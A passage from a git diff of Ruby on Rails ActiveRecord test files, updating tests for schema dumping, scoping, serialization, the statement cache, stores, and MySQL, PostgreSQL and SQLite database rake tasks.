assert_match %r(primary_key: "movieid"), match[1], "non-standard primary key not preserved"
end
+ def test_schema_dump_should_use_false_as_default
+ output = standard_dump
+ assert_match %r{t\.boolean\s+"has_fun",.+default: false}, output
+ end
+
if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
def test_schema_dump_should_not_add_default_value_for_mysql_text_field
output = standard_dump
@@ -247,19 +254,20 @@ class SchemaDumperTest < ActiveRecord::TestCase
assert_match %r{t.integer\s+"bigint_default",\s+limit: 8,\s+default: 0}, output
end
- def test_schema_dump_includes_extensions
- connection = ActiveRecord::Base.connection
- skip unless connection.supports_extensions?
+ if ActiveRecord::Base.connection.supports_extensions?
+ def test_schema_dump_includes_extensions
+ connection = ActiveRecord::Base.connection
- connection.stubs(:extensions).returns(['hstore'])
- output = standard_dump
- assert_match "# These are extensions that must be enabled", output
- assert_match %r{enable_extension "hstore"}, output
+ connection.stubs(:extensions).returns(['hstore'])
+ output = standard_dump
+ assert_match "# These are extensions that must be enabled", output
+ assert_match %r{enable_extension "hstore"}, output
- connection.stubs(:extensions).returns([])
- output = standard_dump
- assert_no_match "# These are extensions that must be enabled", output
- assert_no_match %r{enable_extension}, output
+ connection.stubs(:extensions).returns([])
+ output = standard_dump
+ assert_no_match "# These are extensions that must be enabled", output
+ assert_no_match %r{enable_extension}, output
+ end
end
def test_schema_dump_includes_xml_shorthand_definition
@@ -299,7 +307,7 @@ class SchemaDumperTest < ActiveRecord::TestCase
def test_schema_dump_includes_uuid_shorthand_definition
output = standard_dump
- if %r{create_table "poistgresql_uuids"} =~ output
+ if %r{create_table "postgresql_uuids"} =~ output
assert_match %r{t.uuid "guid"}, output
end
end
@@ -311,6 +319,13 @@ class SchemaDumperTest < ActiveRecord::TestCase
end
end
+ def test_schema_dump_includes_citext_shorthand_definition
+ output = standard_dump
+ if %r{create_table "postgresql_citext"} =~ output
+ assert_match %r[t.citext "text_citext"], output
+ end
+ end
+
def test_schema_dump_includes_ltrees_shorthand_definition
output = standard_dump
if %r{create_table "postgresql_ltrees"} =~ output
diff --git a/activerecord/test/cases/scoping/default_scoping_test.rb b/activerecord/test/cases/scoping/default_scoping_test.rb
index 0f69443839..9a4d8c6740 100644
--- a/activerecord/test/cases/scoping/default_scoping_test.rb
+++ b/activerecord/test/cases/scoping/default_scoping_test.rb
@@ -54,9 +54,14 @@ class DefaultScopingTest < ActiveRecord::TestCase
assert_equal 'Jamis', DeveloperCalledJamis.create!.name
end
- def test_default_scoping_with_threads
- 2.times do
- Thread.new { assert DeveloperOrderedBySalary.all.to_sql.include?('salary DESC') }.join
+ unless in_memory_db?
+ def test_default_scoping_with_threads
+ 2.times do
+ Thread.new {
+ assert DeveloperOrderedBySalary.all.to_sql.include?('salary DESC')
+ DeveloperOrderedBySalary.connection.close
+ }.join
+ end
end
end
@@ -79,7 +84,7 @@ class DefaultScopingTest < ActiveRecord::TestCase
end
def test_scope_overwrites_default
- expected = Developer.all.merge!(:order => ' name DESC, salary DESC').to_a.collect { |dev| dev.name }
+ expected = Developer.all.merge!(order: 'salary DESC, name DESC').to_a.collect { |dev| dev.name }
received = DeveloperOrderedBySalary.by_name.to_a.collect { |dev| dev.name }
assert_equal expected, received
end
@@ -91,14 +96,14 @@ class DefaultScopingTest < ActiveRecord::TestCase
end
def test_order_after_reorder_combines_orders
- expected = Developer.order('id DESC, name DESC').collect { |dev| [dev.name, dev.id] }
+ expected = Developer.order('name DESC, id DESC').collect { |dev| [dev.name, dev.id] }
received = Developer.order('name ASC').reorder('name DESC').order('id DESC').collect { |dev| [dev.name, dev.id] }
assert_equal expected, received
end
def test_unscope_overrides_default_scope
expected = Developer.all.collect { |dev| [dev.name, dev.id] }
- received = Developer.order('name ASC, id DESC').unscope(:order).collect { |dev| [dev.name, dev.id] }
+ received = DeveloperCalledJamis.unscope(:where).collect { |dev| [dev.name, dev.id] }
assert_equal expected, received
end
@@ -117,17 +122,25 @@ class DefaultScopingTest < ActiveRecord::TestCase
end
def test_unscope_with_where_attributes
- expected = Developer.order('salary DESC').collect { |dev| dev.name }
- received = DeveloperOrderedBySalary.where(name: 'David').unscope(where: :name).collect { |dev| dev.name }
+ expected = Developer.order('salary DESC').collect(&:name)
+ received = DeveloperOrderedBySalary.where(name: 'David').unscope(where: :name).collect(&:name)
assert_equal expected, received
- expected_2 = Developer.order('salary DESC').collect { |dev| dev.name }
- received_2 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope({:where => :name}, :select).collect { |dev| dev.name }
+ expected_2 = Developer.order('salary DESC').collect(&:name)
+ received_2 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope({:where => :name}, :select).collect(&:name)
assert_equal expected_2, received_2
- expected_3 = Developer.order('salary DESC').collect { |dev| dev.name }
- received_3 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope(:select, :where).collect { |dev| dev.name }
+ expected_3 = Developer.order('salary DESC').collect(&:name)
+ received_3 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope(:select, :where).collect(&:name)
assert_equal expected_3, received_3
+
+ expected_4 = Developer.order('salary DESC').collect(&:name)
+ received_4 = DeveloperOrderedBySalary.where.not("name" => "Jamis").unscope(where: :name).collect(&:name)
+ assert_equal expected_4, received_4
+
+ expected_5 = Developer.order('salary DESC').collect(&:name)
+ received_5 = DeveloperOrderedBySalary.where.not("name" => ["Jamis", "David"]).unscope(where: :name).collect(&:name)
+ assert_equal expected_5, received_5
end
def test_unscope_multiple_where_clauses
@@ -136,6 +149,16 @@ class DefaultScopingTest < ActiveRecord::TestCase
assert_equal expected, received
end
+ def test_unscope_string_where_clauses_involved
+ dev_relation = Developer.order('salary DESC').where("created_at > ?", 1.year.ago)
+ expected = dev_relation.collect { |dev| dev.name }
+
+ dev_ordered_relation = DeveloperOrderedBySalary.where(name: 'Jamis').where("created_at > ?", 1.year.ago)
+ received = dev_ordered_relation.unscope(where: [:name]).collect { |dev| dev.name }
+
+ assert_equal expected, received
+ end
+
def test_unscope_with_grouping_attributes
expected = Developer.order('salary DESC').collect { |dev| dev.name }
received = DeveloperOrderedBySalary.group(:name).unscope(:group).collect { |dev| dev.name }
@@ -153,9 +176,8 @@ class DefaultScopingTest < ActiveRecord::TestCase
end
def test_order_to_unscope_reordering
- expected = DeveloperOrderedBySalary.all.collect { |dev| [dev.name, dev.id] }
- received = DeveloperOrderedBySalary.order('salary DESC, name ASC').reverse_order.unscope(:order).collect { |dev| [dev.name, dev.id] }
- assert_equal expected, received
+ scope = DeveloperOrderedBySalary.order('salary DESC, name ASC').reverse_order.unscope(:order)
+ assert !(scope.to_sql =~ /order/i)
end
def test_unscope_reverse_order
@@ -166,7 +188,7 @@ class DefaultScopingTest < ActiveRecord::TestCase
def test_unscope_select
expected = Developer.order('salary ASC').collect { |dev| dev.name }
- received = Developer.order('salary DESC').reverse_order.select(:name => "Jamis").unscope(:select).collect { |dev| dev.name }
+ received = Developer.order('salary DESC').reverse_order.select(:name).unscope(:select).collect { |dev| dev.name }
assert_equal expected, received
expected_2 = Developer.all.collect { |dev| dev.id }
@@ -250,9 +272,15 @@ class DefaultScopingTest < ActiveRecord::TestCase
end
end
+ def test_unscope_merging
+ merged = Developer.where(name: "Jamis").merge(Developer.unscope(:where))
+ assert merged.where_values.empty?
+ assert !merged.where(name: "Jon").where_values.empty?
+ end
+
def test_order_in_default_scope_should_not_prevail
- expected = Developer.all.merge!(:order => 'salary').to_a.collect { |dev| dev.salary }
- received = DeveloperOrderedBySalary.all.merge!(:order => 'salary').to_a.collect { |dev| dev.salary }
+ expected = Developer.all.merge!(order: 'salary desc').to_a.collect { |dev| dev.salary }
+ received = DeveloperOrderedBySalary.all.merge!(order: 'salary').to_a.collect { |dev| dev.salary }
assert_equal expected, received
end
@@ -350,21 +378,39 @@ class DefaultScopingTest < ActiveRecord::TestCase
assert_equal 1, DeveloperWithIncludes.where(:audit_logs => { :message => 'foo' }).count
end
- def test_default_scope_is_threadsafe
- if in_memory_db?
- skip "in memory db can't share a db between threads"
+ unless in_memory_db?
+ def test_default_scope_is_threadsafe
+ threads = []
+ assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
+
+ threads << Thread.new do
+ Thread.current[:long_default_scope] = true
+ assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+ ThreadsafeDeveloper.connection.close
+ end
+ threads << Thread.new do
+ assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+ ThreadsafeDeveloper.connection.close
+ end
+ threads.each(&:join)
end
+ end
- threads = []
- assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
+ test "additional conditions are ANDed with the default scope" do
+ scope = DeveloperCalledJamis.where(name: "David")
+ assert_equal 2, scope.where_values.length
+ assert_equal [], scope.to_a
+ end
- threads << Thread.new do
- Thread.current[:long_default_scope] = true
- assert_equal 1, ThreadsafeDeveloper.all.to_a.count
- end
- threads << Thread.new do
- assert_equal 1, ThreadsafeDeveloper.all.to_a.count
- end
- threads.each(&:join)
+ test "additional conditions in a scope are ANDed with the default scope" do
+ scope = DeveloperCalledJamis.david
+ assert_equal 2, scope.where_values.length
+ assert_equal [], scope.to_a
+ end
+
+ test "a scope can remove the condition from the default scope" do
+ scope = DeveloperCalledJamis.david2
+ assert_equal 1, scope.where_values.length
+ assert_equal Developer.where(name: "David").map(&:id), scope.map(&:id)
end
end
diff --git a/activerecord/test/cases/scoping/named_scoping_test.rb b/activerecord/test/cases/scoping/named_scoping_test.rb
index afe32af1d1..59ec2dd6a4 100644
--- a/activerecord/test/cases/scoping/named_scoping_test.rb
+++ b/activerecord/test/cases/scoping/named_scoping_test.rb
@@ -60,11 +60,6 @@ class NamedScopingTest < ActiveRecord::TestCase
assert Topic.approved.respond_to?(:length)
end
- def test_respond_to_respects_include_private_parameter
- assert !Topic.approved.respond_to?(:tables_in_string)
- assert Topic.approved.respond_to?(:tables_in_string, true)
- end
-
def test_scopes_with_options_limit_finds_to_those_matching_the_criteria_specified
assert !Topic.all.merge!(:where => {:approved => true}).to_a.empty?
@@ -271,6 +266,68 @@ class NamedScopingTest < ActiveRecord::TestCase
assert_equal 'lifo', topic.author_name
end
+ def test_reserved_scope_names
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = "topics"
+
+ scope :approved, -> { where(approved: true) }
+
+ class << self
+ public
+ def pub; end
+
+ private
+ def pri; end
+
+ protected
+ def pro; end
+ end
+ end
+
+ subklass = Class.new(klass)
+
+ conflicts = [
+ :create, # public class method on AR::Base
+ :relation, # private class method on AR::Base
+ :new, # redefined class method on AR::Base
+ :all, # a default scope
+ :public,
+ :protected,
+ :private
+ ]
+
+ non_conflicts = [
+ :find_by_title, # dynamic finder method
+ :approved, # existing scope
+ :pub, # existing public class method
+ :pri, # existing private class method
+ :pro, # existing protected class method
+ :open, # a ::Kernel method
+ ]
+
+ conflicts.each do |name|
+ assert_raises(ArgumentError, "scope `#{name}` should not be allowed") do
+ klass.class_eval { scope name, ->{ where(approved: true) } }
+ end
+
+ assert_raises(ArgumentError, "scope `#{name}` should not be allowed") do
+ subklass.class_eval { scope name, ->{ where(approved: true) } }
+ end
+ end
+
+ non_conflicts.each do |name|
+ assert_nothing_raised do
+ silence_warnings do
+ klass.class_eval { scope name, ->{ where(approved: true) } }
+ end
+ end
+
+ assert_nothing_raised do
+ subklass.class_eval { scope name, ->{ where(approved: true) } }
+ end
+ end
+ end
+
# Method delegation for scope names which look like /\A[a-zA-Z_]\w*[!?]?\z/
# has been done by evaluating a string with a plain def statement. For scope
# names which contain spaces this approach doesn't work.
@@ -349,13 +406,13 @@ class NamedScopingTest < ActiveRecord::TestCase
end
def test_scopes_batch_finders
- assert_equal 3, Topic.approved.count
+ assert_equal 4, Topic.approved.count
- assert_queries(4) do
+ assert_queries(5) do
Topic.approved.find_each(:batch_size => 1) {|t| assert t.approved? }
end
- assert_queries(2) do
+ assert_queries(3) do
Topic.approved.find_in_batches(:batch_size => 2) do |group|
group.each {|t| assert t.approved? }
end
@@ -371,7 +428,7 @@ class NamedScopingTest < ActiveRecord::TestCase
def test_scopes_on_relations
# Topic.replied
approved_topics = Topic.all.approved.order('id DESC')
- assert_equal topics(:fourth), approved_topics.first
+ assert_equal topics(:fifth), approved_topics.first
replied_approved_topics = approved_topics.replied
assert_equal topics(:third), replied_approved_topics.first
@@ -440,24 +497,13 @@ class NamedScopingTest < ActiveRecord::TestCase
end
end
- def test_eager_scopes_are_deprecated
- klass = Class.new(ActiveRecord::Base)
- klass.table_name = 'posts'
-
- assert_deprecated do
- klass.scope :welcome_2, klass.where(:id => posts(:welcome).id)
- end
- assert_equal [posts(:welcome).title], klass.welcome_2.map(&:title)
- end
-
- def test_eager_default_scope_relations_are_deprecated
+ def test_eager_default_scope_relations_are_remove
klass = Class.new(ActiveRecord::Base)
klass.table_name = 'posts'
- assert_deprecated do
+ assert_raises(ArgumentError) do
klass.send(:default_scope, klass.where(:id => posts(:welcome).id))
end
- assert_equal [posts(:welcome).title], klass.all.map(&:title)
end
def test_subclass_merges_scopes_properly
diff --git a/activerecord/test/cases/scoping/relation_scoping_test.rb b/activerecord/test/cases/scoping/relation_scoping_test.rb
index 0018fc06f2..d8a467ec4d 100644
--- a/activerecord/test/cases/scoping/relation_scoping_test.rb
+++ b/activerecord/test/cases/scoping/relation_scoping_test.rb
@@ -192,8 +192,9 @@ class NestedRelationScopingTest < ActiveRecord::TestCase
Developer.where('salary = 80000').scoping do
Developer.limit(10).scoping do
devs = Developer.all
- assert_match '(salary = 80000)', devs.to_sql
- assert_equal 10, devs.taken
+ sql = devs.to_sql
+ assert_match '(salary = 80000)', sql
+ assert_match 'LIMIT 10', sql
end
end
end
diff --git a/activerecord/test/cases/serialized_attribute_test.rb b/activerecord/test/cases/serialized_attribute_test.rb
index b49c27bc78..5609cf310c 100644
--- a/activerecord/test/cases/serialized_attribute_test.rb
+++ b/activerecord/test/cases/serialized_attribute_test.rb
@@ -10,8 +10,7 @@ class SerializedAttributeTest < ActiveRecord::TestCase
MyObject = Struct.new :attribute1, :attribute2
- def teardown
- super
+ teardown do
Topic.serialize("content")
end
@@ -211,16 +210,15 @@ class SerializedAttributeTest < ActiveRecord::TestCase
end
def test_serialize_attribute_via_select_method_when_time_zone_available
- ActiveRecord::Base.time_zone_aware_attributes = true
- Topic.serialize(:content, MyObject)
+ with_timezone_config aware_attributes: true do
+ Topic.serialize(:content, MyObject)
- myobj = MyObject.new('value1', 'value2')
- topic = Topic.create(content: myobj)
+ myobj = MyObject.new('value1', 'value2')
+ topic = Topic.create(content: myobj)
- assert_equal(myobj, Topic.select(:content).find(topic.id).content)
- assert_raise(ActiveModel::MissingAttributeError) { Topic.select(:id).find(topic.id).content }
- ensure
- ActiveRecord::Base.time_zone_aware_attributes = false
+ assert_equal(myobj, Topic.select(:content).find(topic.id).content)
+ assert_raise(ActiveModel::MissingAttributeError) { Topic.select(:id).find(topic.id).content }
+ end
end
def test_serialize_attribute_can_be_serialized_in_an_integer_column
@@ -243,10 +241,7 @@ class SerializedAttributeTest < ActiveRecord::TestCase
myobj = MyObject.new('value1', 'value2')
Topic.create(content: myobj)
Topic.create(content: myobj)
-
- Topic.all.each do |topic|
- type = topic.instance_variable_get("@columns_hash")["content"]
- assert !type.instance_variable_get("@column").is_a?(ActiveRecord::AttributeMethods::Serialization::Type)
- end
+ type = Topic.column_types["content"]
+ assert !type.instance_variable_get("@column").is_a?(ActiveRecord::AttributeMethods::Serialization::Type)
end
end
diff --git a/activerecord/test/cases/statement_cache_test.rb b/activerecord/test/cases/statement_cache_test.rb
index 76da49707f..a704b861cb 100644
--- a/activerecord/test/cases/statement_cache_test.rb
+++ b/activerecord/test/cases/statement_cache_test.rb
@@ -10,27 +10,61 @@ module ActiveRecord
@connection = ActiveRecord::Base.connection
end
+ #Cache v 1.1 tests
+ def test_statement_cache
+ Book.create(name: "my book")
+ Book.create(name: "my other book")
+
+ cache = StatementCache.create(Book.connection) do |params|
+ Book.where(:name => params.bind)
+ end
+
+ b = cache.execute([ "my book" ], Book, Book.connection)
+ assert_equal "my book", b[0].name
+ b = cache.execute([ "my other book" ], Book, Book.connection)
+ assert_equal "my other book", b[0].name
+ end
+
+
+ def test_statement_cache_id
+ b1 = Book.create(name: "my book")
+ b2 = Book.create(name: "my other book")
+
+ cache = StatementCache.create(Book.connection) do |params|
+ Book.where(id: params.bind)
+ end
+
+ b = cache.execute([ b1.id ], Book, Book.connection)
+ assert_equal b1.name, b[0].name
+ b = cache.execute([ b2.id ], Book, Book.connection)
+ assert_equal b2.name, b[0].name
+ end
+
+ def test_find_or_create_by
+ Book.create(name: "my book")
+
+ a = Book.find_or_create_by(name: "my book")
+ b = Book.find_or_create_by(name: "my other book")
+
+ assert_equal("my book", a.name)
+ assert_equal("my other book", b.name)
+ end
+
+ #End
+
def test_statement_cache_with_simple_statement
- cache = ActiveRecord::StatementCache.new do
+ cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
Book.where(name: "my book").where("author_id > 3")
end
Book.create(name: "my book", author_id: 4)
- books = cache.execute
+ books = cache.execute([], Book, Book.connection)
assert_equal "my book", books[0].name
end
- def test_statement_cache_with_nil_statement_raises_error
- assert_raise(ArgumentError) do
- ActiveRecord::StatementCache.new do
- nil
- end
- end
- end
-
def test_statement_cache_with_complex_statement
- cache = ActiveRecord::StatementCache.new do
+ cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
Liquid.joins(:molecules => :electrons).where('molecules.name' => 'dioxane', 'electrons.name' => 'lepton')
end
@@ -38,12 +72,12 @@ module ActiveRecord
molecule = salty.molecules.create(name: 'dioxane')
molecule.electrons.create(name: 'lepton')
- liquids = cache.execute
+ liquids = cache.execute([], Book, Book.connection)
assert_equal "salty", liquids[0].name
end
def test_statement_cache_values_differ
- cache = ActiveRecord::StatementCache.new do
+ cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
Book.where(name: "my book")
end
@@ -51,13 +85,13 @@ module ActiveRecord
Book.create(name: "my book")
end
- first_books = cache.execute
+ first_books = cache.execute([], Book, Book.connection)
3.times do
Book.create(name: "my book")
end
- additional_books = cache.execute
+ additional_books = cache.execute([], Book, Book.connection)
assert first_books != additional_books
end
end
diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb
index c2c56abacd..978cee9cfb 100644
--- a/activerecord/test/cases/store_test.rb
+++ b/activerecord/test/cases/store_test.rb
@@ -150,4 +150,44 @@ class StoreTest < ActiveRecord::TestCase
test "all stored attributes are returned" do
assert_equal [:color, :homepage, :favorite_food], Admin::User.stored_attributes[:settings]
end
+
+ test "stored_attributes are tracked per class" do
+ first_model = Class.new(ActiveRecord::Base) do
+ store_accessor :data, :color
+ end
+ second_model = Class.new(ActiveRecord::Base) do
+ store_accessor :data, :width, :height
+ end
+
+ assert_equal [:color], first_model.stored_attributes[:data]
+ assert_equal [:width, :height], second_model.stored_attributes[:data]
+ end
+
+ test "YAML coder initializes the store when a Nil value is given" do
+ assert_equal({}, @john.params)
+ end
+
+ test "attributes_for_coder should return stored fields already serialized" do
+ attributes = {
+ "id" => @john.id,
+ "name"=> @john.name,
+ "settings" => "--- !ruby/hash:ActiveSupport::HashWithIndifferentAccess\ncolor: black\n",
+ "preferences" => "--- !ruby/hash:ActiveSupport::HashWithIndifferentAccess\nremember_login: true\n",
+ "json_data" => "{\"height\":\"tall\"}", "json_data_empty"=>"{\"is_a_good_guy\":true}",
+ "params" => "--- !ruby/hash:ActiveSupport::HashWithIndifferentAccess {}\n",
+ "account_id"=> @john.account_id
+ }
+
+ assert_equal attributes, @john.attributes_for_coder
+ end
+
+ test "dump, load and dump again a model" do
+ dumped = YAML.dump(@john)
+ loaded = YAML.load(dumped)
+ assert_equal @john, loaded
+
+ second_dump = YAML.dump(loaded)
+ assert_equal dumped, second_dump
+ assert_equal @john, YAML.load(second_dump)
+ end
end
diff --git a/activerecord/test/cases/tasks/database_tasks_test.rb b/activerecord/test/cases/tasks/database_tasks_test.rb
index e9000fef25..bf9e14fa4f 100644
--- a/activerecord/test/cases/tasks/database_tasks_test.rb
+++ b/activerecord/test/cases/tasks/database_tasks_test.rb
@@ -1,4 +1,5 @@
require 'cases/helper'
+require 'active_record/tasks/database_tasks'
module ActiveRecord
module DatabaseTasksSetupper
@@ -128,11 +129,22 @@ module ActiveRecord
)
end
- def test_creates_test_database_when_environment_is_database
+ def test_creates_test_and_development_databases_when_env_was_not_specified
ActiveRecord::Tasks::DatabaseTasks.expects(:create).
with('database' => 'dev-db')
ActiveRecord::Tasks::DatabaseTasks.expects(:create).
with('database' => 'test-db')
+ ENV.expects(:[]).with('RAILS_ENV').returns(nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.create_current(
+ ActiveSupport::StringInquirer.new('development')
+ )
+ end
+
+ def test_creates_only_development_database_when_rails_env_is_development
+ ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+ with('database' => 'dev-db')
+ ENV.expects(:[]).with('RAILS_ENV').returns('development')
ActiveRecord::Tasks::DatabaseTasks.create_current(
ActiveSupport::StringInquirer.new('development')
@@ -142,7 +154,7 @@ module ActiveRecord
def test_establishes_connection_for_the_given_environment
ActiveRecord::Tasks::DatabaseTasks.stubs(:create).returns true
- ActiveRecord::Base.expects(:establish_connection).with('development')
+ ActiveRecord::Base.expects(:establish_connection).with(:development)
ActiveRecord::Tasks::DatabaseTasks.create_current(
ActiveSupport::StringInquirer.new('development')
@@ -238,11 +250,22 @@ module ActiveRecord
)
end
- def test_creates_test_database_when_environment_is_database
+ def test_drops_test_and_development_databases_when_env_was_not_specified
ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
with('database' => 'dev-db')
ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
with('database' => 'test-db')
+ ENV.expects(:[]).with('RAILS_ENV').returns(nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.drop_current(
+ ActiveSupport::StringInquirer.new('development')
+ )
+ end
+
+ def test_drops_only_development_database_when_rails_env_is_development
+ ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+ with('database' => 'dev-db')
+ ENV.expects(:[]).with('RAILS_ENV').returns('development')
ActiveRecord::Tasks::DatabaseTasks.drop_current(
ActiveSupport::StringInquirer.new('development')
diff --git a/activerecord/test/cases/tasks/mysql_rake_test.rb b/activerecord/test/cases/tasks/mysql_rake_test.rb
index 816bd62751..3e3a2828f3 100644
--- a/activerecord/test/cases/tasks/mysql_rake_test.rb
+++ b/activerecord/test/cases/tasks/mysql_rake_test.rb
@@ -65,99 +65,98 @@ module ActiveRecord
end
end
- class MysqlDBCreateAsRootTest < ActiveRecord::TestCase
- def setup
- unless current_adapter?(:MysqlAdapter)
- return skip("only tested on mysql")
+ if current_adapter?(:MysqlAdapter)
+ class MysqlDBCreateAsRootTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub("Connection", create_database: true)
+ @error = Mysql::Error.new "Invalid permissions"
+ @configuration = {
+ 'adapter' => 'mysql',
+ 'database' => 'my-app-db',
+ 'username' => 'pat',
+ 'password' => 'wossname'
+ }
+
+ $stdin.stubs(:gets).returns("secret\n")
+ $stdout.stubs(:print).returns(nil)
+ @error.stubs(:errno).returns(1045)
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).
+ raises(@error).
+ then.returns(true)
end
- @connection = stub("Connection", create_database: true)
- @error = Mysql::Error.new "Invalid permissions"
- @configuration = {
- 'adapter' => 'mysql',
- 'database' => 'my-app-db',
- 'username' => 'pat',
- 'password' => 'wossname'
- }
-
- $stdin.stubs(:gets).returns("secret\n")
- $stdout.stubs(:print).returns(nil)
- @error.stubs(:errno).returns(1045)
- ActiveRecord::Base.stubs(:connection).returns(@connection)
- ActiveRecord::Base.stubs(:establish_connection).
- raises(@error).
- then.returns(true)
- end
+ if defined?(::Mysql)
+ def test_root_password_is_requested
+ assert_permissions_granted_for "pat"
+ $stdin.expects(:gets).returns("secret\n")
- def test_root_password_is_requested
- assert_permissions_granted_for "pat"
- skip "only if mysql is available" unless defined?(::Mysql)
- $stdin.expects(:gets).returns("secret\n")
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+ end
- ActiveRecord::Tasks::DatabaseTasks.create @configuration
- end
+ def test_connection_established_as_root
+ assert_permissions_granted_for "pat"
+ ActiveRecord::Base.expects(:establish_connection).with(
+ 'adapter' => 'mysql',
+ 'database' => nil,
+ 'username' => 'root',
+ 'password' => 'secret'
+ )
- def test_connection_established_as_root
- assert_permissions_granted_for "pat"
- ActiveRecord::Base.expects(:establish_connection).with(
- 'adapter' => 'mysql',
- 'database' => nil,
- 'username' => 'root',
- 'password' => 'secret'
- )
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
- ActiveRecord::Tasks::DatabaseTasks.create @configuration
- end
+ def test_database_created_by_root
+ assert_permissions_granted_for "pat"
+ @connection.expects(:create_database).
+ with('my-app-db', :charset => 'utf8', :collation => 'utf8_unicode_ci')
- def test_database_created_by_root
- assert_permissions_granted_for "pat"
- @connection.expects(:create_database).
- with('my-app-db', :charset => 'utf8', :collation => 'utf8_unicode_ci')
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
- ActiveRecord::Tasks::DatabaseTasks.create @configuration
- end
+ def test_grant_privileges_for_normal_user
+ assert_permissions_granted_for "pat"
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
- def test_grant_privileges_for_normal_user
- assert_permissions_granted_for "pat"
- ActiveRecord::Tasks::DatabaseTasks.create @configuration
- end
+ def test_do_not_grant_privileges_for_root_user
+ @configuration['username'] = 'root'
+ @configuration['password'] = ''
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
- def test_do_not_grant_privileges_for_root_user
- @configuration['username'] = 'root'
- @configuration['password'] = ''
- ActiveRecord::Tasks::DatabaseTasks.create @configuration
- end
+ def test_connection_established_as_normal_user
+ assert_permissions_granted_for "pat"
+ ActiveRecord::Base.expects(:establish_connection).returns do
+ ActiveRecord::Base.expects(:establish_connection).with(
+ 'adapter' => 'mysql',
+ 'database' => 'my-app-db',
+ 'username' => 'pat',
+ 'password' => 'secret'
+ )
- def test_connection_established_as_normal_user
- assert_permissions_granted_for "pat"
- ActiveRecord::Base.expects(:establish_connection).returns do
- ActiveRecord::Base.expects(:establish_connection).with(
- 'adapter' => 'mysql',
- 'database' => 'my-app-db',
- 'username' => 'pat',
- 'password' => 'secret'
- )
+ raise @error
+ end
- raise @error
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
end
- ActiveRecord::Tasks::DatabaseTasks.create @configuration
- end
+ def test_sends_output_to_stderr_when_other_errors
+ @error.stubs(:errno).returns(42)
- def test_sends_output_to_stderr_when_other_errors
- @error.stubs(:errno).returns(42)
+ $stderr.expects(:puts).at_least_once.returns(nil)
- $stderr.expects(:puts).at_least_once.returns(nil)
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
- ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ private
+ def assert_permissions_granted_for(db_user)
+ db_name = @configuration['database']
+ db_password = @configuration['password']
+ @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_password}' WITH GRANT OPTION;")
+ end
end
-
- private
- def assert_permissions_granted_for(db_user)
- db_name = @configuration['database']
- db_password = @configuration['password']
- @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_password}' WITH GRANT OPTION;")
- end
end
class MySQLDBDropTest < ActiveRecord::TestCase
@@ -280,6 +279,15 @@ module ActiveRecord
assert_match(/Could not dump the database structure/, warnings)
end
+
+ def test_structure_dump_with_port_number
+ filename = "awesome-file.sql"
+ Kernel.expects(:system).with("mysqldump", "--port", "10000", "--result-file", filename, "--no-data", "test-db").returns(true)
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump(
+ @configuration.merge('port' => 10000),
+ filename)
+ end
end
class MySQLStructureLoadTest < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/tasks/postgresql_rake_test.rb b/activerecord/test/cases/tasks/postgresql_rake_test.rb
index f31896bc7f..6ea225178f 100644
--- a/activerecord/test/cases/tasks/postgresql_rake_test.rb
+++ b/activerecord/test/cases/tasks/postgresql_rake_test.rb
@@ -206,7 +206,7 @@ module ActiveRecord
@connection.expects(:schema_search_path).returns("foo")
ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
- assert File.exists?(filename)
+ assert File.exist?(filename)
ensure
FileUtils.rm(filename)
end
@@ -231,6 +231,13 @@ module ActiveRecord
ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
end
+
+ def test_structure_load_accepts_path_with_spaces
+ filename = "awesome file.sql"
+ Kernel.expects(:system).with("psql -q -f awesome\\ file.sql my-app-db")
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+ end
end
end
diff --git a/activerecord/test/cases/tasks/sqlite_rake_test.rb b/activerecord/test/cases/tasks/sqlite_rake_test.rb
index 7209c0f14d..da3471adf9 100644
--- a/activerecord/test/cases/tasks/sqlite_rake_test.rb
+++ b/activerecord/test/cases/tasks/sqlite_rake_test.rb
@@ -159,8 +159,8 @@ module ActiveRecord
filename = "awesome-file.sql"
ActiveRecord::Tasks::DatabaseTasks.structure_dump @configuration, filename, '/rails/root'
- assert File.exists?(dbfile)
- assert File.exists?(filename)
+ assert File.exist?(dbfile)
+ assert File.exist?(filename)
ensure
FileUtils.rm_f(filename)
FileUtils.rm_f(dbfile)
@@ -182,7 +182,7 @@ module ActiveRecord
